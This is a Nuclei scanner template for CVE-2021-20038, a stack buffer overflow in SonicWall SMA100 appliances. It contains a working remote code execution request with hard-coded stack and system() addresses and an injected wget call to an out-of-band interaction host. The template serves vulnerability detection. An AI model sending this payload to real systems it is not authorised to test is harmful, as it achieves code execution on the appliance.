nuclei-templates/cves/2021/CVE-2021-20038.yaml

40 lines
1.5 KiB
YAML

id: CVE-2021-20038
info:
name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
author: dwisiswant0, jbaines-r7
severity: critical
description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
reference:
- https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
- https://nvd.nist.gov/vuln/detail/CVE-2021-20038
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20038
cwe-id: CWE-787
tags: cve,cve2021,overflow,rce,sonicwall
requests:
- raw:
- |
GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
Host: {{Hostname}}
attack: clusterbomb
payloads:
prefix_addr:
- "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
system_addr:
- "%08%b7%06%08" # for 10.2.1.2-24sv
- "%64%b8%06%08" # for 10.2.1.1-1[79]sv
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# Enhanced by mp on 2022/04/29